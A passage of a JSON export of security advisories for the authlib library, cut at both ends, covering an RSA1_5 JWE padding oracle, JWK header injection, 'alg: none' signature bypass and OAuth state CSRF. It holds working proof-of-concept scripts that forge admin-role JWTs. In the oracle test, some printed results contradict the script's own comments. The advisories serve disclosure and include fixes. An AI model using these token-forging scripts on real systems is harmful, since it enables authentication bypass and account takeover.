@return  tuple  (private_key, jwe, header_b64)\n    \"\"\"\n    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n    jwe         = JsonWebEncryption()\n    header_b64  = urlsafe_b64encode(\n        to_bytes('{\"alg\":\"RSA1_5\",\"enc\":\"A128GCM\"}')\n    ).decode()\n    return private_key, jwe, header_b64\n\n\ndef make_jwe(header_b64, ek_bytes):\n    \"\"\"\n    @notice  Construye un JWE compact con el ek dado y ciphertext/tag aleatorios.\n    @dev     El ciphertext y tag son basura — no importa su contenido porque el\n             oracle se activa antes de llegar a la desencriptacion simetrica\n             en el caso de padding invalido.\n    @param   header_b64  Header del JWE en Base64url\n    @param   ek_bytes    Encrypted Key como bytes crudos\n    @return  str         JWE en formato compact serialization\n    \"\"\"\n    ek         = urlsafe_b64encode(ek_bytes).decode()\n    iv         = urlsafe_b64encode(os.urandom(12)).decode()\n    ciphertext = urlsafe_b64encode(os.urandom(16)).decode()\n    tag        = urlsafe_b64encode(os.urandom(16)).decode()\n    return f\"{header_b64}.{ek}.{iv}.{ciphertext}.{tag}\"\n\n\n# ─── test 1: verificar comportamiento de cryptography ante padding invalido ───\n\ndef test_cryptography_behavior(private_key):\n    \"\"\"\n    @notice  Verifica empiricamente que cryptography lanza excepcion ante padding\n             invalido en lugar de retornar random bytes (comportamiento critico\n             para entender el oracle).\n\n    @dev     Algunos documentos sobre Bleichenbacher asumen que la libreria\n             subyacente retorna random bytes (mitigacion a nivel biblioteca).\n             cryptography 46.0.5 NO hace esto — lanza ValueError directamente.\n             Eso significa que Authlib no \"destruye una mitigacion existente\"\n             sino que \"no implementa ninguna mitigacion propia\".\n    \"\"\"\n    header(\"TEST 1 - Comportamiento de cryptography ante padding invalido\")\n\n    garbage = os.urandom(256)\n\n    try:\n        result = private_key.decrypt(garbage, asym_padding.PKCS1v15())\n        info(f\"cryptography retorno bytes: len={len(result)}\")\n        info(\"NOTA: esta version implementa mitigacion de random bytes\")\n    except Exception as e:\n        vuln(f\"cryptography lanza excepcion directa: {type(e).__name__}: {e}\")\n        info(\"No hay mitigacion a nivel de cryptography library\")\n        info(\"Authlib no implementa ninguna mitigacion propia -\u003e oracle directo\")\n\n\n# ─── test 2: exception oracle ─────────────────────────────────────────────────\n\ndef test_exception_oracle(private_key, jwe, header_b64):\n    \"\"\"\n    @notice  Demuestra el Exception Oracle: los dos caminos de fallo producen\n             excepciones de clases diferentes, observable a nivel HTTP.\n\n    @dev     Camino A (padding invalido):\n               op_key.decrypt() -\u003e ValueError: Decryption failed\n               Authlib no captura -\u003e propaga como ValueError: Invalid \"cek\" length\n               HTTP server tipicamente: 500 / 400 con mensaje especifico\n\n             Camino B (padding valido, MAC malo):\n               op_key.decrypt() -\u003e retorna CEK bytes\n               length check pasa\n               AES-GCM tag validation falla -\u003e InvalidTag\n               HTTP server tipicamente: 401 / 422 / diferente codigo\n\n             La diferencia de clase de excepcion es el oracle primario.\n             No requiere medicion de tiempo — solo observar el tipo de error.\n    \"\"\"\n    header(\"TEST 2 - Exception Oracle (tipo de excepcion diferente)\")\n\n    # --- caso A: ek con padding invalido (basura aleatoria) ---\n    jwe_bad = make_jwe(header_b64, os.urandom(256))\n\n    try:\n        jwe.deserialize_compact(jwe_bad, private_key)\n    except Exception as e:\n        vuln(f\"Caso A (padding invalido):   {type(e).__name__}: {e}\")\n\n    # --- caso B: ek con padding valido, ciphertext basura ---\n    valid_ek  = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())\n    jwe_good  = make_jwe(header_b64, valid_ek)\n\n    try:\n        jwe.deserialize_compact(jwe_good, private_key)\n    except Exception as e:\n        ok(f\"Caso B (padding valido/MAC malo): {type(e).__name__}: {e}\")\n\n    print()\n    info(\"Los dos caminos producen excepciones de clases DIFERENTES.\")\n    info(\"Un framework web que mapea excepciones a HTTP codes expone el oracle.\")\n    info(\"El atacante no necesita acceso al stack trace — solo al HTTP status code.\")\n\n\n# ─── test 3: timing oracle ────────────────────────────────────────────────────\n\ndef test_timing_oracle(private_key, jwe, header_b64, iterations=50):\n    \"\"\"\n    @notice  Demuestra el Timing Oracle midiendo el delta de tiempo entre los\n             dos caminos de fallo en multiples iteraciones.\n\n    @dev     El timing oracle es independiente del exception oracle.\n             Incluso si el servidor normaliza las excepciones a un unico\n             codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente\n             grande para ser medible a traves de red en condiciones reales.\n\n             Bleichenbacher clasico funciona con diferencias de microsegundos.\n             5ms es un oracle extremadamente ruidoso — facil de explotar.\n\n    @param   iterations  Numero de muestras para calcular estadisticas\n    \"\"\"\n    header(f\"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)\")\n\n    times_bad  = []\n    times_good = []\n\n    for _ in range(iterations):\n        # camino A: padding invalido\n        jwe_bad = make_jwe(header_b64, os.urandom(256))\n        t0 = time.perf_counter()\n        try:\n            jwe.deserialize_compact(jwe_bad, private_key)\n        except Exception:\n            pass\n        times_bad.append((time.perf_counter() - t0) * 1000)\n\n        # camino B: padding valido\n        valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())\n        jwe_good = make_jwe(header_b64, valid_ek)\n        t0 = time.perf_counter()\n        try:\n            jwe.deserialize_compact(jwe_good, private_key)\n        except Exception:\n            pass\n        times_good.append((time.perf_counter() - t0) * 1000)\n\n    mean_bad  = statistics.mean(times_bad)\n    mean_good = statistics.mean(times_good)\n    stdev_bad = statistics.stdev(times_bad)\n    stdev_good= statistics.stdev(times_good)\n    delta     = mean_good - mean_bad\n\n    print(f\"\\n  {'Camino':\u003c30} {'Media (ms)':\u003c14} {'Stdev (ms)':\u003c14} {'Min':\u003c10} {'Max'}\")\n    print(f\"  {'-'*30} {'-'*14} {'-'*14} {'-'*10} {'-'*10}\")\n    print(f\"  {'Padding invalido (ValueError)':\u003c30} \"\n          f\"{RED}{mean_bad:\u003c14.3f}{R} \"\n          f\"{stdev_bad:\u003c14.3f} \"\n          f\"{min(times_bad):\u003c10.3f} \"\n          f\"{max(times_bad):.3f}\")\n    print(f\"  {'Padding valido (InvalidTag)':\u003c30} \"\n          f\"{GRN}{mean_good:\u003c14.3f}{R} \"\n          f\"{stdev_good:\u003c14.3f} \"\n          f\"{min(times_good):\u003c10.3f} \"\n          f\"{max(times_good):.3f}\")\n    print()\n\n    if delta \u003e 1.0:\n        vuln(f\"Delta medio: {delta:.3f} ms — timing oracle confirmado\")\n        info(f\"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red\")\n        info(f\"El ataque clasico funciona con diferencias de microsegundos\")\n    else:\n        ok(f\"Delta medio: {delta:.3f} ms — timing no es significativo\")\n\n\n# ─── test 4: confirmar RSA1_5 en registry por defecto ────────────────────────\n\ndef test_default_registry():\n    \"\"\"\n    @notice  Confirma que RSA1_5 esta registrado por defecto en authlib sin\n             ninguna configuracion adicional por parte del desarrollador.\n\n    @dev     Esto demuestra que cualquier aplicacion que use JsonWebEncryption()\n             sin configuracion explicita esta expuesta al oracle por defecto.\n             El desarrollador no necesita hacer nada malo — la exposicion es\n             out-of-the-box.\n    \"\"\"\n    header(\"TEST 4 - RSA1_5 en Registry por Defecto\")\n\n    jwe = JsonWebEncryption()\n\n    # intentar acceder al algoritmo RSA1_5 del registry\n    try:\n        alg = jwe.algorithms.get_algorithm(\"RSA1_5\")\n        if alg:\n            vuln(f\"RSA1_5 registrado por defecto: {alg.__class__.__name__}\")\n            info(\"Cualquier JsonWebEncryption() sin configuracion esta expuesto\")\n            info(\"No se requiere opt-in del desarrollador para el algoritmo vulnerable\")\n        else:\n            ok(\"RSA1_5 NO esta en el registry por defecto\")\n    except Exception as e:\n        info(f\"Registry check: {e}\")\n        # fallback: intentar deserializar un JWE con RSA1_5\n        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n        header_b64  = urlsafe_b64encode(\n            to_bytes('{\"alg\":\"RSA1_5\",\"enc\":\"A128GCM\"}')\n        ).decode()\n        jwe_token = make_jwe(header_b64, os.urandom(256))\n        try:\n            jwe.deserialize_compact(jwe_token, private_key)\n        except Exception as e2:\n            if \"UnsupportedAlgorithm\" in str(type(e2).__name__):\n                ok(\"RSA1_5 NO soportado por defecto\")\n            else:\n                vuln(f\"RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).__name__}\")\n\n\n# ─── test 5: impacto del fix propuesto ────────────────────────────────────────\n\ndef test_fix_impact(private_key, header_b64):\n    \"\"\"\n    @notice  Demuestra que el fix propuesto elimina ambos oracles simultaneamente.\n    @dev     El fix parchado hace que ambos caminos retornen un CEK de longitud\n             correcta, forzando que el fallo ocurra downstream en AES-GCM tag\n             validation en ambos casos -\u003e misma excepcion, timing indistinguible.\n    \"\"\"\n    header(\"TEST 5 - Verificacion del Fix Propuesto\")\n\n    import os as _os\n    from cryptography.hazmat.primitives.ciphers.aead import AESGCM\n\n    def unwrap_patched(ek_bytes, expected_bits=128):\n        \"\"\"Replica del fix propuesto para RSAAlgorithm.unwrap()\"\"\"\n        expected_bytes = expected_bits // 8\n        try:\n            cek = private_key.decrypt(ek_bytes, asym_padding.PKCS1v15())\n        except ValueError:\n            cek = _os.urandom(expected_bytes)  # constant-time fallback\n        if len(cek) != expected_bytes:\n            cek = _os.urandom(expected_bytes)\n        return cek\n\n    # camino A con fix: padding invalido\n    cek_a = unwrap_patched(os.urandom(256))\n    info(f\"Fix Camino A (padding invalido): retorna CEK de {len(cek_a)*8} bits (random)\")\n\n    # camino B con fix: padding valido\n    valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())\n    cek_b = unwrap_patched(valid_ek)\n    info(f\"Fix Camino B (padding valido):   retorna CEK de {len(cek_b)*8} bits (real)\")\n\n    print()\n    ok(\"Ambos caminos retornan CEK de longitud correcta\")\n    ok(\"El fallo ocurrira downstream en AES-GCM para ambos casos\")\n    ok(\"Exception type sera identica en ambos caminos -\u003e oracle eliminado\")\n    ok(\"Timing sera indistinguible -\u003e timing oracle eliminado\")\n\n\n# ─── main ─────────────────────────────────────────────────────────────────────\n\nif __name__ == \"__main__\":\n    print(f\"\\n{BLD}authlib {authlib.__version__} / cryptography {cryptography.__version__}{R}\")\n    print(f\"authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()\")\n\n    private_key, jwe, header_b64 = setup()\n\n    test_cryptography_behavior(private_key)\n    test_exception_oracle(private_key, jwe, header_b64)\n    test_timing_oracle(private_key, jwe, header_b64, iterations=50)\n    test_default_registry()\n    test_fix_impact(private_key, header_b64)\n\n    print(f\"\\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes){R}\")\n    print(f\"{DIM}     nunca levantar excepcion que distinga padding failure de MAC failure{R}\\n\")\n```\n\n### Output\n\n```bash\nauthlib 1.6.8 / cryptography 46.0.5\nauthlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()\n\n\n----------------------------------------------------------------\nTEST 1 - Comportamiento de cryptography ante padding invalido\n----------------------------------------------------------------\n            cryptography retorno bytes: len=84\n            NOTA: esta version implementa mitigacion de random bytes\n\n----------------------------------------------------------------\nTEST 2 - Exception Oracle (tipo de excepcion diferente)\n----------------------------------------------------------------\n  [ORACLE]  Caso A (padding invalido):   ValueError: Invalid \"cek\" length\n  [OK]      Caso B (padding valido/MAC malo): InvalidTag: \n\n            Los dos caminos producen excepciones de clases DIFERENTES.\n            Un framework web que mapea excepciones a HTTP codes expone el oracle.\n            El atacante no necesita acceso al stack trace — solo al HTTP status code.\n\n----------------------------------------------------------------\nTEST 3 - Timing Oracle (50 iteraciones cada camino)\n----------------------------------------------------------------\n\n  Camino                         Media (ms)     Stdev (ms)     Min        Max\n  ------------------------------ -------------- -------------- ---------- ----------\n  Padding invalido (ValueError)  1.500          1.111          0.109      8.028\n  Padding valido (InvalidTag)    1.787          0.978          0.966      7.386\n\n  [OK]      Delta medio: 0.287 ms — timing no es significativo\n\n----------------------------------------------------------------\nTEST 4 - RSA1_5 en Registry por Defecto\n----------------------------------------------------------------\n            Registry check: 'JsonWebEncryption' object has no attribute 'algorithms'\n  [ORACLE]  RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError\n\n----------------------------------------------------------------\nTEST 5 - Verificacion del Fix Propuesto\n----------------------------------------------------------------\n            Fix Camino A (padding invalido): retorna CEK de 128 bits (random)\n            Fix Camino B (padding valido):   retorna CEK de 128 bits (real)\n\n  [OK]      Ambos caminos retornan CEK de longitud correcta\n  [OK]      El fallo ocurrira downstream en AES-GCM para ambos casos\n  [OK]      Exception type sera identica en ambos caminos -\u003e oracle eliminado\n  [OK]      Timing sera indistinguible -\u003e timing oracle eliminado\n\nFix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes)\n     nunca levantar excepcion que distinga padding failure de MAC failure\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-16T15:17:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-7432-952r-cw78","https://github.com/authlib/authlib/commit/48b345f29f6c459f11c6a40162b6c0b742ef2e22","https://github.com/authlib/authlib/releases/tag/v1.6.9","https://nvd.nist.gov/vuln/detail/CVE-2026-28490","https://github.com/advisories/GHSA-7432-952r-cw78"],"source_kind":"github","identifiers":["GHSA-7432-952r-cw78","CVE-2026-28490"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-16T16:00:09.308Z","updated_at":"2026-11-12T04:05:41.519Z","epss_percentage":0.00156,"epss_percentile":0.04812,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NDMyLTk1MnItY3c3OM4ABTqE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NDMyLTk1MnItY3c3OM4ABTqE","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.9","vulnerable_version_range":"\u003c= 1.6.8"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NDMyLTk1MnItY3c3OM4ABTqE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13dndqLWN2cnAtN3B2Nc4ABTqD","url":"https://github.com/advisories/GHSA-wvwj-cvrp-7pv5","title":"Authlib JWS JWK Header Injection: Signature Verification Bypass","description":"## Description\n\n### Summary\n\nA JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated\nattacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed\nto any JWS deserialization function, the library extracts and uses the cryptographic key embedded\nin the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own\nprivate key, embed the matching public key in the header, and have the server accept the forged\ntoken as cryptographically valid — bypassing authentication and authorization entirely.\n\nThis behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.\n\n### Details\n\n**Vulnerable file:** `authlib/jose/rfc7515/jws.py`  \n**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`  \n**Lines:** 272–273\n\n```python\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]   # ← attacker-controlled key used for verification\n```\n\nWhen `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or\n`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts\nthat value — which is fully attacker-controlled — and uses it as the verification key.\n\n**RFC 7515 violations:**\n\n- **§4.1.3** explicitly states the `jwk` header parameter is **\"NOT RECOMMENDED\"** because keys\n  embedded by the token submitter cannot be trusted as a verification anchor.\n- **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application\n  context*, not from the token itself. There is no step in the RFC that permits falling back to\n  the `jwk` header when no application key is provided.\n\n**Why this is a library issue, not just a developer mistake:**\n\nThe most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.\nA developer writes:\n\n```python\ndef lookup_key(header, payload):\n    kid = header.get(\"kid\")\n    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated\n\njws.deserialize_compact(token, lookup_key)\n```\n\nWhen an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.\nThe library then silently falls through to `key = header[\"jwk\"]`, trusting the attacker's embedded\nkey. The developer never wrote `key=None` — the library's fallback logic introduced it. The result\nlooks like a verified token with no exception raised, making the substitution invisible.\n\n**Attack steps:**\n\n1. Attacker generates an RSA or EC keypair.\n2. Attacker crafts a JWT payload with any desired claims (e.g. `{\"role\": \"admin\"}`).\n3. Attacker signs the JWT with their **private** key.\n4. Attacker embeds their **public** key in the JWT `jwk` header field.\n5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.\n6. The library uses `header[\"jwk\"]` for verification — signature passes.\n7. Forged claims are returned as authentic.\n\n### PoC\n\nTested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).\n\n**Requirements:**\n```\npip install authlib cryptography\n```\n\n**Exploit script:**\n```python\nfrom authlib.jose import JsonWebSignature, RSAKey\nimport json\n\njws = JsonWebSignature([\"RS256\"])\n\n# Step 1: Attacker generates their own RSA keypair\nattacker_private = RSAKey.generate_key(2048, is_private=True)\nattacker_public_jwk = attacker_private.as_dict(is_private=False)\n\n# Step 2: Forge a JWT with elevated privileges, embed public key in header\nheader = {\"alg\": \"RS256\", \"jwk\": attacker_public_jwk}\nforged_payload = json.dumps({\"sub\": \"attacker\", \"role\": \"admin\"}).encode()\nforged_token = jws.serialize_compact(header, forged_payload, attacker_private)\n\n# Step 3: Server decodes with key=None — token is accepted\nresult = jws.deserialize_compact(forged_token, None)\nclaims = json.loads(result[\"payload\"])\nprint(claims)  # {'sub': 'attacker', 'role': 'admin'}\nassert claims[\"role\"] == \"admin\"  # PASSES\n```\n\n**Expected output:**\n```\n{'sub': 'attacker', 'role': 'admin'}\n```\n\n**Docker (self-contained reproduction):**\n```bash\nsudo docker run --rm authlib-cve-poc:latest \\\n  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py\n```\n\n### Impact\n\nThis is an authentication and authorization bypass vulnerability. Any application using authlib's\nJWS deserialization is affected when:\n\n- `key=None` is passed directly, **or**\n- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)\n\nAn unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims\n(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.\nThe forged token is indistinguishable from a legitimate one — no exception is raised.\n\nThis is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk`\nheader parameter is \"NOT RECOMMENDED\" as a key source, and the validation key MUST come from\nthe application context, not the token itself.\n\n**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:\n```python\n# DELETE:\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]\n```\n\n**Recommended safe replacement** — raise explicitly when no key is resolved:\n```python\nif key is None:\n    raise MissingKeyError(\"No key provided and no valid key resolvable from context.\")\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-16T15:17:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5","https://github.com/authlib/authlib/commit/a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681","https://github.com/authlib/authlib/releases/tag/v1.6.9","https://nvd.nist.gov/vuln/detail/CVE-2026-27962","https://access.redhat.com/errata/RHSA-2026:19375","https://access.redhat.com/errata/RHSA-2026:24853","https://access.redhat.com/errata/RHSA-2026:48085","https://access.redhat.com/errata/RHSA-2026:5665","https://access.redhat.com/errata/RHSA-2026:7314","https://access.redhat.com/security/cve/CVE-2026-27962","https://bugzilla.redhat.com/show_bug.cgi?id=2448164","https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-287.yaml","https://pypi.org/project/authlib","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27962.json","https://github.com/advisories/GHSA-wvwj-cvrp-7pv5"],"source_kind":"github","identifiers":["GHSA-wvwj-cvrp-7pv5","CVE-2026-27962"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-16T16:00:09.308Z","updated_at":"2026-11-12T04:05:41.519Z","epss_percentage":0.00609,"epss_percentile":0.49645,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dndqLWN2cnAtN3B2Nc4ABTqD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13dndqLWN2cnAtN3B2Nc4ABTqD","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.9","vulnerable_version_range":"\u003c= 1.6.8"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dndqLWN2cnAtN3B2Nc4ABTqD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03d2MyLXF4Z3ctZzhnZ84ABTIi","url":"https://github.com/advisories/GHSA-7wc2-qxgw-g8gg","title":"Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification","description":"### Summary\nAfter upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. \n\n### Details\nIt was likely introduced in this commit:\nhttps://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75\n\n### PoC\n```\nfrom authlib.jose import jwt, JsonWebKey\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.backends import default_backend\nimport json\nimport base64\n\n\ndef create_jwks():\n    private_key = rsa.generate_private_key(\n        public_exponent=65537, key_size=2048, backend=default_backend()\n    )\n    public_pem = private_key.public_key().public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo,\n    )\n    jwk = JsonWebKey.import_key(public_pem).as_dict()\n    jwk[\"kid\"] = \"test-key-001\"\n    jwk[\"use\"] = \"sig\"\n    jwk[\"alg\"] = \"RS256\"\n    jwks = {\"keys\": [jwk]}\n    return jwks\n\n\ndef create_forged_token_with_alg_none():\n    forged_header = {\"alg\": \"none\"}\n    forged_payload = {\n        \"sub\": \"user123\",\n        \"role\": \"admin\",\n        \"iat\": 1735603200,\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_header).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_payload).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    forged_token = header_b64 + b\".\" + payload_b64 + b\".\"\n    return forged_token\n\n\njwks = create_jwks()\nforged_token = create_forged_token_with_alg_none()\ntry:\n    claims = jwt.decode(forged_token, jwks)\n    print(f\"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}\")\nexcept Exception as e:\n    print(f\"SECURE: Token rejected - {type(e).__name__}\")\n```\n\nOutput:\n```\npip install -q authlib==1.5.2\npython3 authlib_alg_none_vulnerability.py \nSECURE: Token rejected - BadSignatureError\npip install -q authlib==1.6.5\npython3 authlib_alg_none_vulnerability.py \nVULNERABLE: Forged token (alg:none) accepted: role=admin\n```\n\n### Impact\nUsers of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.\n\nApplications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:\n- Authentication bypass\n- Privilege escalation\n- Unauthorized access\n- Modification of application data","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T20:55:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/authlib/authlib/security/advisories/GHSA-7wc2-qxgw-g8gg","https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75","https://github.com/authlib/authlib/commit/b87c32ed07b8ae7f805873e1c9cafd1016761df7","https://nvd.nist.gov/vuln/detail/CVE-2026-28802","https://github.com/advisories/GHSA-7wc2-qxgw-g8gg"],"source_kind":"github","identifiers":["GHSA-7wc2-qxgw-g8gg","CVE-2026-28802"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T21:00:09.631Z","updated_at":"2026-11-11T06:07:20.515Z","epss_percentage":0.00538,"epss_percentile":0.4555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2MyLXF4Z3ctZzhnZ84ABTIi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03d2MyLXF4Z3ctZzhnZ84ABTIi","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.7","vulnerable_version_range":"\u003e= 1.6.5, \u003c= 1.6.6"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2MyLXF4Z3ctZzhnZ84ABTIi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZzZmLTc1anEtNjUyM84ABQ35","url":"https://github.com/advisories/GHSA-fg6f-75jq-6523","title":"Authlib has 1-click Account Takeover vulnerability","description":"# Security Advisory: Cache-Backed State Storage CSRF in Authlib\n\nThe Security Labs team at Snyk has reported a security issue affecting Authlib, identified during a recent research project.\n\nThe Snyk Security Labs team has identified a vulnerability that can result in a one-click account takeover in applications that utilize the Authlib library.\n\n## Description\n\nCache-backed state/request-token storage is not tied to the initiating user session, making CSRF possible for any attacker that possesses a valid state value (easily obtainable via an attacker-initiated authentication flow). When a cache is supplied to the OAuth client registry, `FrameworkIntegration.set_state_data` writes the entire state blob under `_state_{app}_{state}`, and `get_state_data` disregards the caller's session entirely. [1][2]\n\n```py\n    def _get_cache_data(self, key):\n        value = self.cache.get(key)\n        if not value:\n            return None\n        try:\n            return json.loads(value)\n        except (TypeError, ValueError):\n            return None\n[snip]\n    def get_state_data(self, session, state):\n        key = f\"_state_{self.name}_{state}\"\n        if self.cache:\n            value = self._get_cache_data(key)\n        else:\n            value = session.get(key)\n        if value:\n            return value.get(\"data\")\n        return None\n```\n\n*authlib/integrations/base_client/framework_integration.py:12-41*\n\nRetrieval in `authorize_access_token` therefore succeeds for whichever browser presents that opaque value, and the token exchange proceeds with the attacker's authorization code. [3]\n\n```py\n    def authorize_access_token(self, **kwargs):\n        \"\"\"Fetch access token in one step.\n\n        :return: A token dict.\n        \"\"\"\n        params = request.args.to_dict(flat=True)\n        state = params.get(\"oauth_token\")\n        if not state:\n            raise OAuthError(description='Missing \"oauth_token\" parameter')\n\n        data = self.framework.get_state_data(session, state)\n        if not data:\n            raise OAuthError(description='Missing \"request_token\" in temporary data')\n\n        params[\"request_token\"] = data[\"request_token\"]\n        params.update(kwargs)\n        self.framework.clear_state_data(session, state)\n        token = self.fetch_access_token(**params)\n        self.token = token\n        return token\n```\n\n*authlib/integrations/flask_client/apps.py:57-76*\n\nThis opens up an avenue for Login CSRF in applications that use cache-backed storage. Depending on the dependent application's implementation (e.g., whether it links accounts in the event of a login CSRF), this could lead to account takeover.\n\n## Proof of Concept\n\nConsider a hypothetical application — AwesomeAuthlibApp. Assume that AwesomeAuthlibApp contains internal logic such that, when an already authenticated user performs a `callback` request, the application links the newly provided SSO identity to the existing user account associated with that request.\n\nUnder these conditions, an attacker can achieve account takeover within the application by performing the following actions:\n\n1. The attacker initiates an SSO OAuth flow but halts the process immediately before the callback request is made to AwesomeAuthlibApp.\n2. The attacker then induces a logged-in user (via phishing, a drive-by attack, or similar means) to perform a GET request containing the attacker's state value and authorization code to the AwesomeAuthlibApp callback endpoint. Because Authlib does not verify whether the state token is bound to the session performing the callback, the callback is processed, the authorization code is sent to the provider, and the account linking proceeds.\n\nOnce the GET request is executed, the attacker's SSO account becomes permanently linked to the victim's AwesomeAuthlibApp account.\n\n## Suggested Fix\n\nPer the OAuth RFC [4], the state parameter should be tied to the user's session to prevent exactly such scenarios. One straightforward method of mitigating this issue is to continue storing the state in the session even when caching is enabled.\n\nAn alternative approach would be to hash the session ID (or another per-user secret derived from the session) into the cache key. This ensures the state remains stored in the cache while still being bound to the session of the user that initiated the OAuth flow.\n\n## Resources\n\n- [1] [flask_client/apps.py#L35](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L35)\n- [2] [base_client/framework_integration.py#L33](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/base_client/framework_integration.py#L33)\n- [3] [flask_client/apps.py#L57](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L57)\n- [4] [RFC 6749 